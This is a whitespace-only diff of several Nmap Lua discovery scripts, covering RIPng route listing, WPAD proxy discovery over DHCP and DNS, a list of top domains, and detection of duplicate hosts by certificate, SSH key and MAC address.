local resp = RIPng.Response:new()
|
||||
local pos, _
|
||||
-- Creates a new Response instance based on a string of bytes
|
||||
-- @return resp new instance of Response
|
||||
parse = function(data)
|
||||
local resp = RIPng.Response:new()
|
||||
local pos, _
|
||||
|
||||
pos, resp.command, resp.version, _ = bin.unpack(">CCS", data)
|
||||
resp.entries = {}
|
||||
while( pos < #data ) do
|
||||
local e = RIPng.RTE.parse(data:sub(pos))
|
||||
table.insert(resp.entries, e)
|
||||
pos = pos + 20
|
||||
end
|
||||
pos, resp.command, resp.version, _ = bin.unpack(">CCS", data)
|
||||
resp.entries = {}
|
||||
while( pos < #data ) do
|
||||
local e = RIPng.RTE.parse(data:sub(pos))
|
||||
table.insert(resp.entries, e)
|
||||
pos = pos + 20
|
||||
end
|
||||
|
||||
return resp
|
||||
end,
|
||||
}
|
||||
return resp
|
||||
end,
|
||||
}
|
||||
}
|
||||
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
@@ -152,65 +152,65 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
-- Parses a RIPng response
|
||||
-- @return ret string containing the routing table
|
||||
local function parse_response(resp)
|
||||
local next_hop
|
||||
local result = tab.new(3)
|
||||
tab.addrow(result, "route", "metric", "next hop")
|
||||
for _, rte in pairs(resp.entries or {}) do
|
||||
-- next hop information is specified in a separate RTE according to
|
||||
-- RFC 2080 section 2.1.1
|
||||
if ( 0xFF == rte.metric ) then
|
||||
next_hop = rte.prefix
|
||||
else
|
||||
tab.addrow(result, ("%s/%d"):format(rte.prefix, rte.prefix_len), rte.metric, next_hop or "")
|
||||
end
|
||||
end
|
||||
return tab.dump(result)
|
||||
local next_hop
|
||||
local result = tab.new(3)
|
||||
tab.addrow(result, "route", "metric", "next hop")
|
||||
for _, rte in pairs(resp.entries or {}) do
|
||||
-- next hop information is specified in a separate RTE according to
|
||||
-- RFC 2080 section 2.1.1
|
||||
if ( 0xFF == rte.metric ) then
|
||||
next_hop = rte.prefix
|
||||
else
|
||||
tab.addrow(result, ("%s/%d"):format(rte.prefix, rte.prefix_len), rte.metric, next_hop or "")
|
||||
end
|
||||
end
|
||||
return tab.dump(result)
|
||||
end
|
||||
|
||||
action = function()
|
||||
|
||||
local req = RIPng.Request:new( { RIPng.RTE:new("0::", 0, 0, 16) } )
|
||||
local host, port = "FF02::9", { number = 521, protocol = "udp" }
|
||||
local iface = nmap.get_interface()
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
||||
timeout = (timeout or 5) * 1000
|
||||
local req = RIPng.Request:new( { RIPng.RTE:new("0::", 0, 0, 16) } )
|
||||
local host, port = "FF02::9", { number = 521, protocol = "udp" }
|
||||
local iface = nmap.get_interface()
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
||||
timeout = (timeout or 5) * 1000
|
||||
|
||||
local sock = nmap.new_socket("udp")
|
||||
sock:bind(nil, 521)
|
||||
sock:set_timeout(timeout)
|
||||
local sock = nmap.new_socket("udp")
|
||||
sock:bind(nil, 521)
|
||||
sock:set_timeout(timeout)
|
||||
|
||||
local status = sock:sendto(host, port, tostring(req))
|
||||
local status = sock:sendto(host, port, tostring(req))
|
||||
|
||||
-- do we need to add the interface name to the address?
|
||||
if ( not(status) ) then
|
||||
if ( not(iface) ) then
|
||||
return fail("Couldn't determine what interface to use, try supplying it with -e")
|
||||
end
|
||||
status = sock:sendto(host .. "%" .. iface, port, tostring(req))
|
||||
end
|
||||
-- do we need to add the interface name to the address?
|
||||
if ( not(status) ) then
|
||||
if ( not(iface) ) then
|
||||
return fail("Couldn't determine what interface to use, try supplying it with -e")
|
||||
end
|
||||
status = sock:sendto(host .. "%" .. iface, port, tostring(req))
|
||||
end
|
||||
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to send request to server")
|
||||
end
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to send request to server")
|
||||
end
|
||||
|
||||
local responses = {}
|
||||
while(true) do
|
||||
local status, data = sock:receive()
|
||||
if ( not(status) ) then
|
||||
break
|
||||
else
|
||||
local status, _, _, rhost = sock:get_info()
|
||||
if ( not(status) ) then
|
||||
rhost = "unknown"
|
||||
end
|
||||
responses[rhost] = RIPng.Response.parse(data)
|
||||
end
|
||||
end
|
||||
local responses = {}
|
||||
while(true) do
|
||||
local status, data = sock:receive()
|
||||
if ( not(status) ) then
|
||||
break
|
||||
else
|
||||
local status, _, _, rhost = sock:get_info()
|
||||
if ( not(status) ) then
|
||||
rhost = "unknown"
|
||||
end
|
||||
responses[rhost] = RIPng.Response.parse(data)
|
||||
end
|
||||
end
|
||||
|
||||
local result = {}
|
||||
for ip, resp in pairs(responses) do
|
||||
stdnse.print_debug(ip, resp)
|
||||
table.insert(result, { name = ip, parse_response(resp) } )
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
local result = {}
|
||||
for ip, resp in pairs(responses) do
|
||||
stdnse.print_debug(ip, resp)
|
||||
table.insert(result, { name = ip, parse_response(resp) } )
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
@@ -44,11 +44,11 @@ local arg_nodhcp = stdnse.get_script_args(SCRIPT_NAME .. ".nodhcp")
|
||||
local arg_getwpad= stdnse.get_script_args(SCRIPT_NAME .. ".getwpad")
|
||||
|
||||
local function createRequestList(req_list)
|
||||
local output = ""
|
||||
for _, v in ipairs(req_list) do
|
||||
output = output .. string.char(v)
|
||||
end
|
||||
return output
|
||||
local output = ""
|
||||
for _, v in ipairs(req_list) do
|
||||
output = output .. string.char(v)
|
||||
end
|
||||
return output
|
||||
end
|
||||
|
||||
|
||||
@@ -58,175 +58,175 @@ end
|
||||
-- @param up string containing the interface status to filter
|
||||
-- @return result table containing the matching interfaces
|
||||
local function getInterfaces(link, up)
|
||||
if( not(nmap.list_interfaces) ) then return end
|
||||
local interfaces, err = nmap.list_interfaces()
|
||||
local result
|
||||
if ( not(err) ) then
|
||||
for _, iface in ipairs(interfaces) do
|
||||
if ( iface.link == link and iface.up == up ) then
|
||||
result = result or {}
|
||||
result[iface.device] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
if( not(nmap.list_interfaces) ) then return end
|
||||
local interfaces, err = nmap.list_interfaces()
|
||||
local result
|
||||
if ( not(err) ) then
|
||||
for _, iface in ipairs(interfaces) do
|
||||
if ( iface.link == link and iface.up == up ) then
|
||||
result = result or {}
|
||||
result[iface.device] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
local function parseDHCPResponse(response)
|
||||
for _, v in ipairs(response.options) do
|
||||
if ( "WPAD" == v.name ) then
|
||||
return true, v.value
|
||||
end
|
||||
end
|
||||
for _, v in ipairs(response.options) do
|
||||
if ( "WPAD" == v.name ) then
|
||||
return true, v.value
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local function getWPAD(u)
|
||||
local u_parsed = url.parse(u)
|
||||
local u_parsed = url.parse(u)
|
||||
|
||||
if ( not(u_parsed) ) then
|
||||
return false, ("Failed to parse url: %s"):format(u)
|
||||
end
|
||||
if ( not(u_parsed) ) then
|
||||
return false, ("Failed to parse url: %s"):format(u)
|
||||
end
|
||||
|
||||
local response = http.get(u_parsed.host, u_parsed.port or 80, u_parsed.path)
|
||||
if ( response and response.status == 200 ) then
|
||||
return true, response.body
|
||||
end
|
||||
local response = http.get(u_parsed.host, u_parsed.port or 80, u_parsed.path)
|
||||
if ( response and response.status == 200 ) then
|
||||
return true, response.body
|
||||
end
|
||||
|
||||
return false, ("Failed to retrieve wpad.dat (%s) from server"):format(u)
|
||||
return false, ("Failed to retrieve wpad.dat (%s) from server"):format(u)
|
||||
end
|
||||
|
||||
local function parseWPAD(wpad)
|
||||
local proxies = {}
|
||||
for proxy in wpad:gmatch("PROXY%s*([^\";%s]*)") do
|
||||
table.insert(proxies, proxy)
|
||||
end
|
||||
return proxies
|
||||
local proxies = {}
|
||||
for proxy in wpad:gmatch("PROXY%s*([^\";%s]*)") do
|
||||
table.insert(proxies, proxy)
|
||||
end
|
||||
return proxies
|
||||
end
|
||||
|
||||
local function dnsDiscover()
|
||||
|
||||
-- tries to discover WPAD for all domains and sub-domains
|
||||
local function enumWPADNames(domain)
|
||||
local d = domain
|
||||
-- reduce domain until we only have a single dot left
|
||||
-- there is a security problem in querying for wpad.tld like eg
|
||||
-- wpad.com as this could be a rougue domain. This loop does not
|
||||
-- account for domains with tld's containing two parts e.g. co.uk.
|
||||
-- However, as the script just attempts to download and parse the
|
||||
-- proxy values in the WPAD there should be no real harm here.
|
||||
repeat
|
||||
local name = ("wpad.%s"):format(d)
|
||||
d = d:match("^[^%.]-%.(.*)$")
|
||||
local status, response = dns.query(name, { dtype = 'A', retAll = true })
|
||||
-- tries to discover WPAD for all domains and sub-domains
|
||||
local function enumWPADNames(domain)
|
||||
local d = domain
|
||||
-- reduce domain until we only have a single dot left
|
||||
-- there is a security problem in querying for wpad.tld like eg
|
||||
-- wpad.com as this could be a rougue domain. This loop does not
|
||||
-- account for domains with tld's containing two parts e.g. co.uk.
|
||||
-- However, as the script just attempts to download and parse the
|
||||
-- proxy values in the WPAD there should be no real harm here.
|
||||
repeat
|
||||
local name = ("wpad.%s"):format(d)
|
||||
d = d:match("^[^%.]-%.(.*)$")
|
||||
local status, response = dns.query(name, { dtype = 'A', retAll = true })
|
||||
|
||||
-- get the first entry and return
|
||||
if ( status and response[1] ) then
|
||||
return true, { name = name, ip = response[1] }
|
||||
end
|
||||
until( not(d) or not(d:match("%.")) )
|
||||
-- get the first entry and return
|
||||
if ( status and response[1] ) then
|
||||
return true, { name = name, ip = response[1] }
|
||||
end
|
||||
until( not(d) or not(d:match("%.")) )
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
-- first try a domain if it was supplied
|
||||
if ( arg_domain ) then
|
||||
local status, response = enumWPADNames(arg_domain)
|
||||
if ( status ) then
|
||||
return status, response
|
||||
end
|
||||
end
|
||||
-- first try a domain if it was supplied
|
||||
if ( arg_domain ) then
|
||||
local status, response = enumWPADNames(arg_domain)
|
||||
if ( status ) then
|
||||
return status, response
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
-- if no domain was supplied, attempt to reverse lookup every ip on each
|
||||
-- interface to find our FQDN hostname, once we do, try to query for WPAD
|
||||
for i in pairs(getInterfaces("ethernet", "up") or {}) do
|
||||
local iface, err = nmap.get_interface_info(i)
|
||||
if ( iface ) then
|
||||
local status, response = dns.query( dns.reverse(iface.address), { dtype = 'PTR', retAll = true } )
|
||||
-- if no domain was supplied, attempt to reverse lookup every ip on each
|
||||
-- interface to find our FQDN hostname, once we do, try to query for WPAD
|
||||
for i in pairs(getInterfaces("ethernet", "up") or {}) do
|
||||
local iface, err = nmap.get_interface_info(i)
|
||||
if ( iface ) then
|
||||
local status, response = dns.query( dns.reverse(iface.address), { dtype = 'PTR', retAll = true } )
|
||||
|
||||
-- did we get a name back from dns?
|
||||
if ( status ) then
|
||||
local domains = {}
|
||||
for _, name in ipairs(response) do
|
||||
-- first get all unique domain names
|
||||
if ( not(name:match("in%-addr.arpa$")) ) then
|
||||
local domain = name:match("^[^%.]-%.(.*)$")
|
||||
domains[domain] = true
|
||||
end
|
||||
end
|
||||
-- did we get a name back from dns?
|
||||
if ( status ) then
|
||||
local domains = {}
|
||||
for _, name in ipairs(response) do
|
||||
-- first get all unique domain names
|
||||
if ( not(name:match("in%-addr.arpa$")) ) then
|
||||
local domain = name:match("^[^%.]-%.(.*)$")
|
||||
domains[domain] = true
|
||||
end
|
||||
end
|
||||
|
||||
-- attempt to discover the ip for WPAD in all domains
|
||||
-- each domain is processed and reduced and ones the first
|
||||
-- match is received it returns an IP
|
||||
for domain in pairs(domains) do
|
||||
status, response = enumWPADNames(domain)
|
||||
if ( status ) then
|
||||
return true, response
|
||||
end
|
||||
end
|
||||
-- attempt to discover the ip for WPAD in all domains
|
||||
-- each domain is processed and reduced and ones the first
|
||||
-- match is received it returns an IP
|
||||
for domain in pairs(domains) do
|
||||
status, response = enumWPADNames(domain)
|
||||
if ( status ) then
|
||||
return true, response
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return false, "Failed to find WPAD using DNS"
|
||||
return false, "Failed to find WPAD using DNS"
|
||||
|
||||
end
|
||||
|
||||
local function dhcpDiscover()
|
||||
|
||||
-- send a DHCP discover on all ethernet interfaces that are up
|
||||
for i in pairs(getInterfaces("ethernet", "up") or {}) do
|
||||
local iface, err = nmap.get_interface_info(i)
|
||||
if ( iface ) then
|
||||
local req_list = createRequestList( { 1, 15, 3, 6, 44, 46, 47, 31, 33, 249, 43, 252 } )
|
||||
local status, response = dhcp.make_request("255.255.255.255", dhcp.request_types["DHCPDISCOVER"], "0.0.0.0", iface.mac, nil, req_list, { flags = 0x8000 } )
|
||||
-- send a DHCP discover on all ethernet interfaces that are up
|
||||
for i in pairs(getInterfaces("ethernet", "up") or {}) do
|
||||
local iface, err = nmap.get_interface_info(i)
|
||||
if ( iface ) then
|
||||
local req_list = createRequestList( { 1, 15, 3, 6, 44, 46, 47, 31, 33, 249, 43, 252 } )
|
||||
local status, response = dhcp.make_request("255.255.255.255", dhcp.request_types["DHCPDISCOVER"], "0.0.0.0", iface.mac, nil, req_list, { flags = 0x8000 } )
|
||||
|
||||
-- if we got a response, we're happy and don't need to continue
|
||||
if (status) then
|
||||
return status, response
|
||||
end
|
||||
end
|
||||
end
|
||||
-- if we got a response, we're happy and don't need to continue
|
||||
if (status) then
|
||||
return status, response
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
action = function()
|
||||
|
||||
local status, response, wpad
|
||||
local status, response, wpad
|
||||
|
||||
if ( arg_nodhcp and arg_nodns ) then
|
||||
return "\n ERROR: Both nodns and nodhcp arguments were supplied"
|
||||
end
|
||||
if ( arg_nodhcp and arg_nodns ) then
|
||||
return "\n ERROR: Both nodns and nodhcp arguments were supplied"
|
||||
end
|
||||
|
||||
if ( nmap.is_privileged() and not(arg_nodhcp) ) then
|
||||
status, response = dhcpDiscover()
|
||||
if ( status ) then
|
||||
status, wpad = parseDHCPResponse(response)
|
||||
end
|
||||
end
|
||||
if ( nmap.is_privileged() and not(arg_nodhcp) ) then
|
||||
status, response = dhcpDiscover()
|
||||
if ( status ) then
|
||||
status, wpad = parseDHCPResponse(response)
|
||||
end
|
||||
end
|
||||
|
||||
-- if the DHCP did not get a result, fallback to DNS
|
||||
if (not(status) and not(arg_nodns) ) then
|
||||
status, response = dnsDiscover()
|
||||
if ( not(status) ) then
|
||||
local services = "DNS" .. ( nmap.is_privileged() and "/DHCP" or "" )
|
||||
return ("\n ERROR: Could not find WPAD using %s"):format(services)
|
||||
end
|
||||
wpad = ("http://%s/wpad.dat"):format( response.name )
|
||||
end
|
||||
-- if the DHCP did not get a result, fallback to DNS
|
||||
if (not(status) and not(arg_nodns) ) then
|
||||
status, response = dnsDiscover()
|
||||
if ( not(status) ) then
|
||||
local services = "DNS" .. ( nmap.is_privileged() and "/DHCP" or "" )
|
||||
return ("\n ERROR: Could not find WPAD using %s"):format(services)
|
||||
end
|
||||
wpad = ("http://%s/wpad.dat"):format( response.name )
|
||||
end
|
||||
|
||||
if ( status ) then
|
||||
status, response = getWPAD(wpad)
|
||||
end
|
||||
if ( status ) then
|
||||
status, response = getWPAD(wpad)
|
||||
end
|
||||
|
||||
if ( not(status) ) then
|
||||
return status, response
|
||||
end
|
||||
if ( not(status) ) then
|
||||
return status, response
|
||||
end
|
||||
|
||||
local output = ( arg_getwpad and response or parseWPAD(response) )
|
||||
local output = ( arg_getwpad and response or parseWPAD(response) )
|
||||
|
||||
return stdnse.format_output(true, output)
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
|
||||
@@ -78,56 +78,56 @@ local TIMED_MULTIPLIER = 1.0
|
||||
-- This list is the first 50 entries of
|
||||
-- http://s3.amazonaws.com/alexa-static/top-1m.csv.zip on 2013-08-08.
|
||||
local ALEXA_DOMAINS = {
|
||||
"google.com",
|
||||
"facebook.com",
|
||||
"youtube.com",
|
||||
"yahoo.com",
|
||||
"baidu.com",
|
||||
"wikipedia.org",
|
||||
"amazon.com",
|
||||
"qq.com",
|
||||
"live.com",
|
||||
"linkedin.com",
|
||||
"twitter.com",
|
||||
"blogspot.com",
|
||||
"taobao.com",
|
||||
"google.co.in",
|
||||
"bing.com",
|
||||
"yahoo.co.jp",
|
||||
"yandex.ru",
|
||||
"wordpress.com",
|
||||
"sina.com.cn",
|
||||
"vk.com",
|
||||
"ebay.com",
|
||||
"google.de",
|
||||
"tumblr.com",
|
||||
"msn.com",
|
||||
"google.co.uk",
|
||||
"googleusercontent.com",
|
||||
"ask.com",
|
||||
"mail.ru",
|
||||
"google.com.br",
|
||||
"163.com",
|
||||
"google.fr",
|
||||
"pinterest.com",
|
||||
"google.com.hk",
|
||||
"hao123.com",
|
||||
"microsoft.com",
|
||||
"google.co.jp",
|
||||
"xvideos.com",
|
||||
"google.ru",
|
||||
"weibo.com",
|
||||
"craigslist.org",
|
||||
"paypal.com",
|
||||
"instagram.com",
|
||||
"amazon.co.jp",
|
||||
"google.it",
|
||||
"imdb.com",
|
||||
"blogger.com",
|
||||
"google.es",
|
||||
"apple.com",
|
||||
"conduit.com",
|
||||
"sohu.com",
|
||||
"google.com",
|
||||
"facebook.com",
|
||||
"youtube.com",
|
||||
"yahoo.com",
|
||||
"baidu.com",
|
||||
"wikipedia.org",
|
||||
"amazon.com",
|
||||
"qq.com",
|
||||
"live.com",
|
||||
"linkedin.com",
|
||||
"twitter.com",
|
||||
"blogspot.com",
|
||||
"taobao.com",
|
||||
"google.co.in",
|
||||
"bing.com",
|
||||
"yahoo.co.jp",
|
||||
"yandex.ru",
|
||||
"wordpress.com",
|
||||
"sina.com.cn",
|
||||
"vk.com",
|
||||
"ebay.com",
|
||||
"google.de",
|
||||
"tumblr.com",
|
||||
"msn.com",
|
||||
"google.co.uk",
|
||||
"googleusercontent.com",
|
||||
"ask.com",
|
||||
"mail.ru",
|
||||
"google.com.br",
|
||||
"163.com",
|
||||
"google.fr",
|
||||
"pinterest.com",
|
||||
"google.com.hk",
|
||||
"hao123.com",
|
||||
"microsoft.com",
|
||||
"google.co.jp",
|
||||
"xvideos.com",
|
||||
"google.ru",
|
||||
"weibo.com",
|
||||
"craigslist.org",
|
||||
"paypal.com",
|
||||
"instagram.com",
|
||||
"amazon.co.jp",
|
||||
"google.it",
|
||||
"imdb.com",
|
||||
"blogger.com",
|
||||
"google.es",
|
||||
"apple.com",
|
||||
"conduit.com",
|
||||
"sohu.com",
|
||||
}
|
||||
|
||||
-- Construct the default list of domains.
|
||||
|
||||
@@ -63,149 +63,149 @@ postrule = function() return true end
|
||||
|
||||
local function processSSLCerts(tab)
|
||||
|
||||
-- Handle SSL-certificates
|
||||
-- We create a new table using the SHA1 digest as index
|
||||
local ssl_certs = {}
|
||||
for host, v in pairs(tab) do
|
||||
for port, sha1 in pairs(v) do
|
||||
ssl_certs[sha1] = ssl_certs[sha1] or {}
|
||||
if ( not stdnse.contains(ssl_certs[sha1], host.ip) ) then
|
||||
table.insert(ssl_certs[sha1], host.ip)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- Handle SSL-certificates
|
||||
-- We create a new table using the SHA1 digest as index
|
||||
local ssl_certs = {}
|
||||
for host, v in pairs(tab) do
|
||||
for port, sha1 in pairs(v) do
|
||||
ssl_certs[sha1] = ssl_certs[sha1] or {}
|
||||
if ( not stdnse.contains(ssl_certs[sha1], host.ip) ) then
|
||||
table.insert(ssl_certs[sha1], host.ip)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local results = {}
|
||||
for sha1, hosts in pairs(ssl_certs) do
|
||||
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
|
||||
if ( #hosts > 1 ) then
|
||||
table.insert(results, { name = ("Certficate (%s)"):format(sha1), hosts } )
|
||||
end
|
||||
end
|
||||
local results = {}
|
||||
for sha1, hosts in pairs(ssl_certs) do
|
||||
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
|
||||
if ( #hosts > 1 ) then
|
||||
table.insert(results, { name = ("Certficate (%s)"):format(sha1), hosts } )
|
||||
end
|
||||
end
|
||||
|
||||
return results
|
||||
return results
|
||||
end
|
||||
|
||||
local function processSSHKeys(tab)
|
||||
|
||||
local hostkeys = {}
|
||||
local hostkeys = {}
|
||||
|
||||
-- create a reverse mapping key_fingerprint -> host(s)
|
||||
for ip, keys in pairs(tab) do
|
||||
for _, key in ipairs(keys) do
|
||||
local fp = ssh1.fingerprint_hex(key.fingerprint, key.algorithm, key.bits)
|
||||
if not hostkeys[fp] then
|
||||
hostkeys[fp] = {}
|
||||
end
|
||||
-- discard duplicate IPs
|
||||
if not stdnse.contains(hostkeys[fp], ip) then
|
||||
table.insert(hostkeys[fp], ip)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- create a reverse mapping key_fingerprint -> host(s)
|
||||
for ip, keys in pairs(tab) do
|
||||
for _, key in ipairs(keys) do
|
||||
local fp = ssh1.fingerprint_hex(key.fingerprint, key.algorithm, key.bits)
|
||||
if not hostkeys[fp] then
|
||||
hostkeys[fp] = {}
|
||||
end
|
||||
-- discard duplicate IPs
|
||||
if not stdnse.contains(hostkeys[fp], ip) then
|
||||
table.insert(hostkeys[fp], ip)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- look for hosts using the same hostkey
|
||||
local results = {}
|
||||
for key, hosts in pairs(hostkeys) do
|
||||
if #hostkeys[key] > 1 then
|
||||
table.sort(hostkeys[key], function(a, b) return ipOps.compare_ip(a, "lt", b) end)
|
||||
local str = 'Key ' .. key .. ':'
|
||||
table.insert( results, { name = str, hostkeys[key] } )
|
||||
end
|
||||
end
|
||||
-- look for hosts using the same hostkey
|
||||
local results = {}
|
||||
for key, hosts in pairs(hostkeys) do
|
||||
if #hostkeys[key] > 1 then
|
||||
table.sort(hostkeys[key], function(a, b) return ipOps.compare_ip(a, "lt", b) end)
|
||||
local str = 'Key ' .. key .. ':'
|
||||
table.insert( results, { name = str, hostkeys[key] } )
|
||||
end
|
||||
end
|
||||
|
||||
return results
|
||||
return results
|
||||
end
|
||||
|
||||
local function processNBStat(tab)
|
||||
|
||||
local results, mac_table, name_table = {}, {}, {}
|
||||
for host, v in pairs(tab) do
|
||||
mac_table[v.mac] = mac_table[v.mac] or {}
|
||||
if ( not(stdnse.contains(mac_table[v.mac], host.ip)) ) then
|
||||
table.insert(mac_table[v.mac], host.ip)
|
||||
end
|
||||
local results, mac_table, name_table = {}, {}, {}
|
||||
for host, v in pairs(tab) do
|
||||
mac_table[v.mac] = mac_table[v.mac] or {}
|
||||
if ( not(stdnse.contains(mac_table[v.mac], host.ip)) ) then
|
||||
table.insert(mac_table[v.mac], host.ip)
|
||||
end
|
||||
|
||||
name_table[v.server_name] = name_table[v.server_name] or {}
|
||||
if ( not(stdnse.contains(name_table[v.server_name], host.ip)) ) then
|
||||
table.insert(name_table[v.server_name], host.ip)
|
||||
end
|
||||
end
|
||||
name_table[v.server_name] = name_table[v.server_name] or {}
|
||||
if ( not(stdnse.contains(name_table[v.server_name], host.ip)) ) then
|
||||
table.insert(name_table[v.server_name], host.ip)
|
||||
end
|
||||
end
|
||||
|
||||
for mac, hosts in pairs(mac_table) do
|
||||
if ( #hosts > 1 ) then
|
||||
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
|
||||
table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
|
||||
end
|
||||
end
|
||||
for mac, hosts in pairs(mac_table) do
|
||||
if ( #hosts > 1 ) then
|
||||
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
|
||||
table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
|
||||
end
|
||||
end
|
||||
|
||||
for srvname, hosts in pairs(name_table) do
|
||||
if ( #hosts > 1 ) then
|
||||
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
|
||||
table.insert(results, { name = ("Server Name: %s"):format(srvname), hosts })
|
||||
end
|
||||
end
|
||||
for srvname, hosts in pairs(name_table) do
|
||||
if ( #hosts > 1 ) then
|
||||
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
|
||||
table.insert(results, { name = ("Server Name: %s"):format(srvname), hosts })
|
||||
end
|
||||
end
|
||||
|
||||
return results
|
||||
return results
|
||||
end
|
||||
|
||||
local function processMAC(tab)
|
||||
|
||||
local mac
|
||||
local mac_table = {}
|
||||
local mac
|
||||
local mac_table = {}
|
||||
|
||||
for host in pairs(tab) do
|
||||
if ( host.mac_addr ) then
|
||||
mac = stdnse.format_mac(host.mac_addr)
|
||||
mac_table[mac] = mac_table[mac] or {}
|
||||
if ( not(stdnse.contains(mac_table[mac], host.ip)) ) then
|
||||
table.insert(mac_table[mac], host.ip)
|
||||
end
|
||||
end
|
||||
end
|
||||
for host in pairs(tab) do
|
||||
if ( host.mac_addr ) then
|
||||
mac = stdnse.format_mac(host.mac_addr)
|
||||
mac_table[mac] = mac_table[mac] or {}
|
||||
if ( not(stdnse.contains(mac_table[mac], host.ip)) ) then
|
||||
table.insert(mac_table[mac], host.ip)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local results = {}
|
||||
for mac, hosts in pairs(mac_table) do
|
||||
if ( #hosts > 1 ) then
|
||||
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
|
||||
table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
|
||||
end
|
||||
end
|
||||
local results = {}
|
||||
for mac, hosts in pairs(mac_table) do
|
||||
if ( #hosts > 1 ) then
|
||||
table.sort(hosts, function(a, b) return ipOps.compare_ip(a, "lt", b) end)
|
||||
table.insert(results, { name = ("MAC: %s"):format(mac), hosts })
|
||||
end
|
||||
end
|
||||
|
||||
return results
|
||||
return results
|
||||
end
|
||||
|
||||
postaction = function()
|
||||
|
||||
local handlers = {
|
||||
['ssl-cert'] = { func = processSSLCerts, name = "SSL" },
|
||||
['sshhostkey'] = { func = processSSHKeys, name = "SSH" },
|
||||
['nbstat'] = { func = processNBStat, name = "Netbios" },
|
||||
['mac'] = { func = processMAC, name = "ARP" }
|
||||
}
|
||||
local handlers = {
|
||||
['ssl-cert'] = { func = processSSLCerts, name = "SSL" },
|
||||
['sshhostkey'] = { func = processSSHKeys, name = "SSH" },
|
||||
['nbstat'] = { func = processNBStat, name = "Netbios" },
|
||||
['mac'] = { func = processMAC, name = "ARP" }
|
||||
}
|
||||
|
||||
-- temporary re-allocation code for SSH keys
|
||||
for k, v in pairs(nmap.registry.sshhostkey or {}) do
|
||||
nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
|
||||
nmap.registry['duplicates']['sshhostkey'] = nmap.registry['duplicates']['sshhostkey'] or {}
|
||||
nmap.registry['duplicates']['sshhostkey'][k] = v
|
||||
end
|
||||
-- temporary re-allocation code for SSH keys
|
||||
for k, v in pairs(nmap.registry.sshhostkey or {}) do
|
||||
nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
|
||||
nmap.registry['duplicates']['sshhostkey'] = nmap.registry['duplicates']['sshhostkey'] or {}
|
||||
nmap.registry['duplicates']['sshhostkey'][k] = v
|
||||
end
|
||||
|
||||
if ( not(nmap.registry['duplicates']) ) then
|
||||
return
|
||||
end
|
||||
if ( not(nmap.registry['duplicates']) ) then
|
||||
return
|
||||
end
|
||||
|
||||
local results = {}
|
||||
for key, handler in pairs(handlers) do
|
||||
if ( nmap.registry['duplicates'][key] ) then
|
||||
local result_part = handler.func( nmap.registry['duplicates'][key] )
|
||||
if ( result_part and #result_part > 0 ) then
|
||||
table.insert(results, { name = handler.name, result_part } )
|
||||
end
|
||||
end
|
||||
end
|
||||
local results = {}
|
||||
for key, handler in pairs(handlers) do
|
||||
if ( nmap.registry['duplicates'][key] ) then
|
||||
local result_part = handler.func( nmap.registry['duplicates'][key] )
|
||||
if ( result_part and #result_part > 0 ) then
|
||||
table.insert(results, { name = handler.name, result_part } )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
return stdnse.format_output(true, results)
|
||||
end
|
||||
|
||||
-- we have no real action in here. In essence we move information from the
|
||||
@@ -213,25 +213,25 @@ end
|
||||
-- it when we need it.
|
||||
hostaction = function(host)
|
||||
|
||||
nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
|
||||
nmap.registry['duplicates'] = nmap.registry['duplicates'] or {}
|
||||
|
||||
for port, cert in pairs(host.registry["ssl-cert"] or {}) do
|
||||
nmap.registry['duplicates']['ssl-cert'] = nmap.registry['duplicates']['ssl-cert'] or {}
|
||||
nmap.registry['duplicates']['ssl-cert'][host] = nmap.registry['duplicates']['ssl-cert'][host] or {}
|
||||
nmap.registry['duplicates']['ssl-cert'][host][port] = stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
|
||||
end
|
||||
for port, cert in pairs(host.registry["ssl-cert"] or {}) do
|
||||
nmap.registry['duplicates']['ssl-cert'] = nmap.registry['duplicates']['ssl-cert'] or {}
|
||||
nmap.registry['duplicates']['ssl-cert'][host] = nmap.registry['duplicates']['ssl-cert'][host] or {}
|
||||
nmap.registry['duplicates']['ssl-cert'][host][port] = stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
|
||||
end
|
||||
|
||||
if ( host.registry['nbstat'] ) then
|
||||
